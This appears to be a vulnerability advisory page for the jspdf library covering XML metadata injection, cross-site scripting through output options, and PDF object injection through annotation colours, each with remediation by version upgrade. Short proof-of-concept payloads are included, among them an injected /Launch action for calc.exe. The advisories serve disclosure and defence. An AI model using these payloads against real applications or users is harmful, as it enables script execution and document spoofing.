Find, fix and prevent vulnerabilities in your code.

Overview

jspdf is a PDF Document creation from JavaScript

Affected versions of this package are vulnerable to XML Injection via the addMetadata function. An attacker can compromise the integrity of generated PDF files by injecting arbitrary XML into the XMP metadata, potentially spoofing document authorship or other metadata fields.

Workaround

Sanitize user input, e.g., escaping XML entities before passing it to the addMetadata method.

PoC

import { jsPDF } from "jspdf"

const doc = new jsPDF()

// Input a string that closes the current XML tag and opens a new one.
// We are injecting a fake "dc:creator" (Author) to spoof the document source.
const maliciousInput = '</jspdf:metadata></rdf:Description>' +
    '<rdf:Description xmlns:dc="http://purl.org/dc/elements/1.1/">' +
    '<dc:creator>TRUSTED_ADMINISTRATOR</dc:creator>' + // <--- Spoofed Identity
    '</rdf:Description>' +
    '<rdf:Description><jspdf:metadata>'

// The application innocently adds the user's input to the metadata
doc.addMetadata(maliciousInput, "http://valid.namespace")

doc.save("test.pdf")

Remediation

Upgrade jspdf to version 4.1.0 or higher.

References

• GitHub Commit

Overview

jspdf is a PDF Document creation from JavaScript

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) in jspdf.js, when user-controlled values are passed to the options argument, then included unsanitized in the generated HTML and opened by another user. An attacker can cause the execution of scripts in the victim's browser context by supplying malicious input to the pdfObjectUrl option for "pdfobjectnewwindow", the pdfJsUrl and filename options for "pdfjsnewwindow", and the filename option for "dataurlnewwindow".

PoC

import { jsPDF } from 'jspdf';
const doc = new jsPDF();

const payload =  'x\"></iframe><script>window.__n=1</script><iframe src="';

doc.output('pdfjsnewwindow', {
  filename: payload,
  pdfJsUrl: 'viewer.html'
});

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Affected environments

The following environments are susceptible to an XSS attack:

• Web servers
• Application servers
• Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

• Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
• Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
• Give users the option to disable client-side scripts.
• Redirect invalid requests.
• Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
• Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
• Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade jspdf to version 4.2.1 or higher.

References

• GitHub Commit
• GitHub Release

Overview

jspdf is a PDF Document creation from JavaScript

Affected versions of this package are vulnerable to Improper Encoding or Escaping of Output via the createAnnotation() method, whose color parameter can be injected with script objects. An attacker can inject PDF objects as freetext annotations, which may be executed when a user opens the file.

PoC

import { jsPDF } from 'jspdf'

const doc = new jsPDF();

const payload = '000000) /AA <</E <</S /Launch /F (calc.exe)>>>> (';

doc.createAnnotation({
  type: 'freetext',
  bounds: { x: 10, y: 10, w: 120, h: 20 },
  contents: 'hello',
  color: payload
});

doc.save('test.pdf');

Remediation

Upgrade jspdf to version 4.2.1 or higher.

References

• GitHub Commit
• GitHub Release